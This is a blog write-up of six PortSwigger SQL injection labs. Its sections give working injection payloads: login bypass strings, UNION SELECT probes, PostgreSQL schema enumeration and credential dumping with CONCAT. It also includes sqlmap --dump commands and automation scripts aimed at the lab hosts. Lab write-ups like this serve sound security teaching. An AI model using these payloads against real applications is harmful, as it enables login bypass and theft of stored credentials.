Post

Web Security Academy | SQL Injection

Writeup of PortSwigger's SQL Injection Labs

Posted Updated
Preview Image
By Younes Tasra
16 min read

Lab-1

About

This Lab contains a SQL injection vulnerability in the product category filter.
To solve the lab, we need to perform a SQL injection attack that causes the application to display details of all products in any category, both released and unreleased.

Detection

  • Submit a single quotation mark ' in /filter?category=Gifts to break out the original SQL query quotation marks and cause an error
  • The resulting query sent by the App to the back-end database:
    1

    SELECT * FROM products WHERE category = 'Gifts'' AND released = 1
  • The App returns a 500 Internal Server Error response, which means that an error has occured in the back-end while processing the query.
  • The category parameter is vulnerable to SQL injection.

Exploitation

Manual

  1. Intercept the request with Burp Suite proxy
  2. Send the request to repeater
  3. Inject the category parameter with the following payload: ' OR 1=1 --
  4. The resulting SQL query sent by the App to the backend database:
    1

    SELECT * FROM products WHERE category = '' OR 1=1 --' AND released = 1

    which is

    1

    SELECT * FROM products WHERE category = '' OR 1=1

    📍 Note: The following payload ' OR 'a'='a is also valid and achieves the same result as the 1=1 attack to return all products, regardless of whether they have been released.

    1

    SELECT * FROM products WHERE category = '' OR 'a'='a' AND released = 1

Automated

  • You can find the source code here

  • Requirements:
    1

    $ pip3 install -r requirements.txt
  • Help Menu:
1
2
3
4
5
6
7
8
9

$ python3 Lab-1.py --help
usage: Lab-1.py [-h] -u URL [-n]

Usage Example: python3 Lab-1.py --url https://0a2100.web-security-academy.net/ --no-proxy

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  Enter the Lab URL
  -n, --no-proxy     Do not use proxy

Lab#1

Lab-2

About

This Lab contains a SQL injection vulnerability in the login functionality.
To solve the lab, we need to perform a SQL injection attack that logs in to the application as the administrator user.

Detection

  • Navigate to the /login directory and you will be presented with the vulnerable login functionality
  • Since we know that this login form is vulnerable to SQLi, let’s try triggering an error by submitting a single quote ' in the username field and some random password in the password field.
  • The App should return a 500 Internal Server Error, which means that an error has occured in the back-end database while processing the query.
  • The username POST parameter is vulnerable to SQL Injection !

Exploitation

Manual

  1. Intercept the request with Burp Suite proxy,
  2. Send the request to repeater,
  3. Inject the username field with the following payload: administrator'--
  4. The resulting query sent by the App to the back-end database should look to something like this:
    1

    SELECT * FROM content WHERE username='administrator'--' AND password='p@$$w0rd'

    which is

    1

    SELECT * FROM content WHERE username='administrator'

    📍 Note: You can also try the following payload randomusername' OR 1=1-- which is also valid and bypasses the login functionality

    1

    SELECT * FROM content WHERE username='randomusername' OR 1=1--' AND password='p@$$w0rd'

Automated

  • You can find the source code here

  • Requirements:
    1

    $ pip3 install -r requirements.txt
  • Help Menu:
1
2
3
4
5
6
7
8
9

$ python3 Lab-2.py --help
usage: Lab-2.py [-h] -u URL [-n]

Usage Example: python3 Lab-2.py --url https://0a2100.web-security-academy.net/ --no-proxy

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  Enter the Lab URL
  -n, --no-proxy     Do not use proxy

Lab#2

Lab-3

About

This Lab contains a SQL injection vulnerability in the product category filter.
The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query.

End Goal

Detection

  • Submit a single quotation mark ' in /filter?category=Gifts to break out the original SQL query quotation marks and cause an internal error,
  • The resulting query sent by the App to the back-end databases should look to something like:
    SELECT * FROM products WHERE category = 'Gifts''
  • The App should return a 500 Internal Server Error, which means that an error has occured in the back-end database while processing the query.
  • The category parameter is vulnerable to SQL injection.

Exploitation

Manual

The goal of this lab is to figure out the number of columns returned by the query by perfoming a SQL Injection UNION attack. To do so, we will incrementally inject a series of UNION SELECT payloads specifiying different number of NULL values until we no longer get an Internal Server Error.

  1. Intercept the request with Burp Suite proxy
  2. Send the request to repeater
  3. Start by injecting the category parameter with Gifts'+UNION+SELECT+NULL-- which will return an error
  4. And then 'UNION+SELECT+NULL,NULL-- which will also return an error
  5. And finally 'UNION+SELECT+NULL,NULL,NULL-- which will output the results of the original query
    SELECT * FROM products WHERE category = 'Gifts'

The number of columns is then 3

Automated

  • You can find the source code here

  • Requirements:
    1

    $ pip3 install -r requirements.txt
  • Help Menu:
1
2
3
4
5
6
7
8
9

$ python3 Lab-3.py --help
usage: Lab-3.py [-h] -u URL [-n]

Usage Example: python3 Lab-3.py --url https://0a2100.web-security-academy.net/ --no-proxy

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  Enter the Lab URL
  -n, --no-proxy     Do not use proxy

Lab-3

Lab-4

About

This Lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.

End Goal

Detection

  • Submit a single quotation mark ' in /filter?category=Gifts to break out the original SQL query quotation marks and cause an internal error,
  • The resulting query sent by the App to the back-end databases should look to something like:
    SELECT * FROM products WHERE category = 'Gifts''
  • The App should return a 500 Internal Server Error, which means that an error has occured in the back-end database while processing the query.
  • The category parameter is vulnerable to SQL injection.

Exploitation

Manual

The goal of this lab is to figure out the number of columns returned by the query and then probing each column to test whether it can hold a specific string data, provided in the Lab.
To do so, we will incrementally submit a series of UNION SELECT payloads that place the string value into each column in turn until we no longer get an Internal Server Error.

📍 Determining the number of columns:

  1. Intercept the request with Burp Suite proxy,
  2. Send the request to repeater,
  3. Start by injecting the category parameter with Gifts'+UNION+SELECT+NULL-- which will return an error
  4. And then 'UNION+SELECT+NULL,NULL-- which will also return an error
  5. And finally 'UNION+SELECT+NULL,NULL,NULL-- which will output the results of the original query
    SELECT * FROM products WHERE category = 'Gifts'

    The number of columns is then 3

📍 Finding columns containing text:

  1. Copy the string provided in the Lab: String Data

    In this case, the string data is: VnoDqj

  2. Start by injecting the category parameter Gifts'+UNION+SELECT+'VnoDqj',NULL,NULL-- which will return an error. This means that the first column is not a string
  3. And then Gifts'+UNION+SELECT+NULL,'VnoDqj',NULL-- which will output the results of the original query and make the database print out VnoDqj. This means that the second column is a string.
  4. And finally Gifts'+UNION+SELECT+NULL,NULL,'VnoDqj'-- which will also return an error

The second column contains string data.

Automated

  • You can find the source code here

  • Requirements:
    1

    $ pip3 install -r requirements.txt
  • Help Menu:
1
2
3
4
5
6
7
8
9

$ python3 Lab-4.py --help
usage: Lab-4.py [-h] -u URL [-n]

Usage Example: python3 Lab-4.py --url https://0a2100.web-security-academy.net/ --no-proxy

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  Enter the Lab URL
  -n, --no-proxy     Do not use proxy

Lab-4

Lab-5

About

This Lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables.
The database contains a different table called users, with columns called username and password.
To solve the Lab, perform a SQL injection UNION attack to retrieve all usernames and passwords.

End Goal

Log in as the administrator user.

Detection

  • Submit a single quotation mark ' in /filter?category=Gifts to break out the original SQL query quotation marks and cause an internal error
  • The resulting query sent by the App to the back-end databases should look to something like:
    1

    SELECT * FROM products WHERE category = 'Gifts''
  • The App should return a 500 Internal Server Error, which means that an error has occured in the back-end database while processing the query.
  • The category parameter is vulnerable to SQL injection.

Exploitation

Manual

📝: HACK STEPS:
1° Determine the number of columns that are being returned by the original query
2° Determine the columns that contains string data
3° Retrieve the database version
4° Retrieve the current database name
5° Fetch database (schema) names
6° Fetch the tables for the current database
7° Fetch the columns for a specific table in the current database
8° Dump data.

📍 Number of columns:

  1. Intercept the request with Burp Suite proxy,
  2. Send the request to repeater,
  3. Start by injecting the category parameter with Gifts'+UNION+SELECT+NULL-- which will return an error
  4. And then Gifts'UNION+SELECT+NULL,NULL-- which will return the results of the original query (Selecting content for product Gifts)

☑️ The number of columns is 2

📍 Columns containing text:

  1. Inject the category parameter with the following payload '+UNION+SELECT+'a',NULL--
    => If an Internal Server Error occurs, then the first column does not contain string type data.
  2. And then, inject the vulnerable parameter with '+UNION+SELECT+NULL,'a'--
    => If an Internal Server Error is returned, then the second column does not contain string type data.

☑️ In this Lab, both columns contain text.

📍 Database version:
Each DBMS (Database Management System) has its own syntax to retrieve the version, and since we don’t know which one we are dealing with, let’s try the most popular ones. Here is a great Cheat-Sheet you can refer to when exploiting UNION-based SQL injection:

📜 Cheat-Sheet:

  1. Oracle: 
    1

    SELECT banner FROM v$version

    1

    SELECT version FROM v$instance
  2. Microsoft & MySQL: 
    1

    SELECT @@version
  3. PostgreSQL 
    1

    SELECT version()

    In this Lab, the back-end DBMS is PostgreSQL

  • Let’s retrieve the database version, by sending the following payload: '+UNION+SELECT+NULL,version()--
Database version

📍 Current database name:

  • Retrieving the current database name syntax for PostgreSQL DBMS:
    1

    SELECT current_database()
  • Inject the vulnerable parameter with the following payload: '+UNION+SELECT+NULL,current_database()--
Current Database Name

☑️ The currrent database’s name is: academy_labs

📍 Database names:

  • Retrieving databases names syntax for PostgreSQL DBMS:
    1

    SELECT datname FROM pg_database
  • Inject the vulnerable parameter with the following payload:'+UNION+SELECT+NULL,datname+FROM+pg_database--
Databases Names

📍 Fetching the tables for the current database:

  • Listing tables syntax for PostgreSQL DBMS:
    1

    SELECT table_name FROM information_schema.tables
  • Inject the vulnerable parameter with the following payload: '+UNION+SELECT+NULL,table_name+FROM+information_schema.tables--
Tables
  • This payload will return all the tables in the current database, and since we know the name of the table is users, let’s add a filter to our payload using the LIKE clause:
  • Payload:
    1

    '+UNION+SELECT+NULL,table_name+FROM+information_schema.tables+WHERE+table_name+LIKE+'users'--

users_table

📍 Fetching columns for the table users in the current database:

  • Listing columns syntax for PostgreSQL DBMS:
    1

    SELECT column_name FROM information_schema.columns WHERE table_name='TableName'
  • Inject the vulnerable parameter with the following payload: '+UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='users'--
Columns

📍 Dumping data from users table:

  • We can retrieve the content of users table by sending the following payload: '+UNION+SELECT+username,password+FROM+users--
Content of users table

📍 Solving the lab:

  • Now that we have dumped the credentials, we can go to /login and login as the Administrator user and solve the lab !!
Logging in as Administrator
  • 📹 The entire process can be see in the clip below :

Automated

SQLmap

📍 Fetching databases names:

  • Command:
    1

    root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 --dbs --batch

  • Options:
           - -proxy=http://127.0.0.1:8080 : Using BurpSuite proxy for debugging purposes
           -u : Target URL
           -p : Testable parameter
           - -technique=U : SQL Injection technique to use. Here i’m using the UNION technique
           - -threads : Maximum number of concurrent HTTP requests (default 1)
           - -level : Level of test to perform (5 is MAX)
           - -risk : Risk of test to perform (3 is MAX)
           - -dbs : Enumerate databases (schema) names
           - -batch : Never ask for user input, use the default behavior

  • Execution:
    SQLMap_1

    📝 Here the database public is the one we are interested in.

📍 Fetching tables for database: ‘public’

  • Command:
    1

    root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 -D public --tables --batch

  • Options:
           - -tables : Enumerating database tables

  • Execution:
    sqlmap_2

📍 Fetching columns for table ‘users’ in database ‘public’

  • Command:
    1

    root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 -D public -T users --columns --batch

  • Options:
           - -columns : Enumerating database table columns

  • Execution: sqlmap_3

📍 Dumping data from table ‘users’ in database ‘public’:

  • Command:
    1

    root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 -D public -T users --dump --batch

  • Options:
           - -dump : Dump database table entries

  • Execution: sqlmap_4

Python3

1

$ pip3 install -r requirements.txt
  • Help Menu:
1
2
3
4
5
6
7
8
9

$ python3 Lab-5.py --help
usage: Lab-5.py [-h] -u URL [-n]

Usage Example: python3 Lab-5.py --url https://0a2100.web-security-academy.net/ --no-proxy

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  Enter the Lab URL
  -n, --no-proxy     Do not use proxy

Lab-5

Lab-6

About

This Lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables.
The database contains a different table called users, with columns called username and password.
To solve the Lab, perform a SQL injection UNION attack to retrieve all usernames and passwords.

End Goal

Log in as the administrator user.

Detection

  • Submit a single quotation mark ' in /filter?category=Gifts to break out the original SQL query quotation marks and cause an internal error
  • The resulting query sent by the App to the back-end databases should look to something like:
    1

    SELECT * FROM products WHERE category = 'Gifts''
  • The App should return a 500 Internal Server Error, which means that an error has occured in the back-end database while processing the query.
  • The category parameter is vulnerable to SQL injection.

Exploitation

Manual

📝: HACK STEPS:
1° Determine the number of columns that are being returned by the original query
2° Determine the columns that contains string data
3° Retrive data from users tables

📍 Number of columns:

  1. Intercept the request with Burp Suite proxy,
  2. Send the request to repeater,
  3. Start by injecting the category parameter with Gifts'+UNION+SELECT+NULL-- which will return an error
  4. And then Gifts'UNION+SELECT+NULL,NULL-- which will return the results of the original query (Selecting content for product Gifts)

☑️ The number of columns is 2

📍 Columns containing text:

  1. Inject the category parameter with the following payload '+UNION+SELECT+'a',NULL--
    => If an Internal Server Error occurs, then the first column does not contain string type data.
  2. And then, inject the vulnerable parameter with '+UNION+SELECT+NULL,'a'--
    => If an Internal Server Error is returned, then the second column does not contain string type data.

☑️ In this Lab, the second column contains string data.

📍 Retrieving data:

  • Since we know that there is a table called users that has two columns username and password and that we only have one column that return string data which we can control to fetch entries for table users, we can the CONCAT clause.

  • For example, we can send the following payload: '+UNION+SELECT+NULL,CONCAT(username, ':', password)+FROM+users--, which will return the usernames and passwords seperated with a colon : 2023-02-24 07_31_49-SQL injection UNION attack, retrieving multiple values in a single column — Mozi

  • We can also do some cool stuff with CONCAT like sending the following payload:
    1

    '+UNION+SELECT+NULL,CONCAT('The password of ', username, ' is : ', password)+FROM+users--

    2023-02-24 07_34_40-SQL injection UNION attack, retrieving multiple values in a single column — Mozi

  • We can also use the || to concat the results, for example:
    1

    '+UNION+SELECT+NULL,username||':'||password+FROM+users--

    2023-02-24 07_31_49-SQL injection UNION attack, retrieving multiple values in a single column — Mozi

📍 Solving the lab:

  • Now that we have dumped the credentials, we can go to /login and login as the Administrator user and solve the lab !!
Logged in as Administrator
  • 📹 The entire process can be see in the clip below :

Automated

SQLmap

📍 Fetching databases names:

  • Command:
    1

    root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 --dbs --batch

  • Options:
           - -proxy=http://127.0.0.1:8080 : Using BurpSuite proxy for debugging purposes
           -u : Target URL
           -p : Testable parameter
           - -technique=U : SQL Injection technique to use. Here i’m using the UNION technique
           - -threads : Maximum number of concurrent HTTP requests (default 1)
           - -level : Level of test to perform (5 is MAX)
           - -risk : Risk of test to perform (3 is MAX)
           - -dbs : Enumerate databases (schema) names
           - -batch : Never ask for user input, use the default behavior

  • Execution:
    2023-02-24 08_00_33-HACKING_MACHINE - VMware Workstation 16 Player (Non-commercial use only)

📝 Here the database public is the one we are interested in.

📍 Dumping data from table ‘users’ in database ‘public’

  • Command:
    1

    root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 -D public -T users --dump --batch

  • Options:
           - -dump : Dump database table entries

  • Execution:
    2023-02-24 07_58_23-HACKING_MACHINE - VMware Workstation 16 Player (Non-commercial use only)

Python3

1

$ pip3 install -r requirements.txt
  • Help Menu:
1
2
3
4
5
6
7
8
9

$ python3 Lab-6.py --help
usage: Lab-6.py [-h] -u URL [-n]

Usage Example: python3 Lab-6.py --url https://0a2100.web-security-academy.net/ --no-proxy

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  Enter the Lab URL
  -n, --no-proxy     Do not use proxy

Lab-6

Web Exploitation, Portswigger, SQL Injection
Web Exploitation SQL Injection Python3 sqlmap Burp Suite UNION-based SQL Injection
This post is licensed under CC BY 4.0 by the author.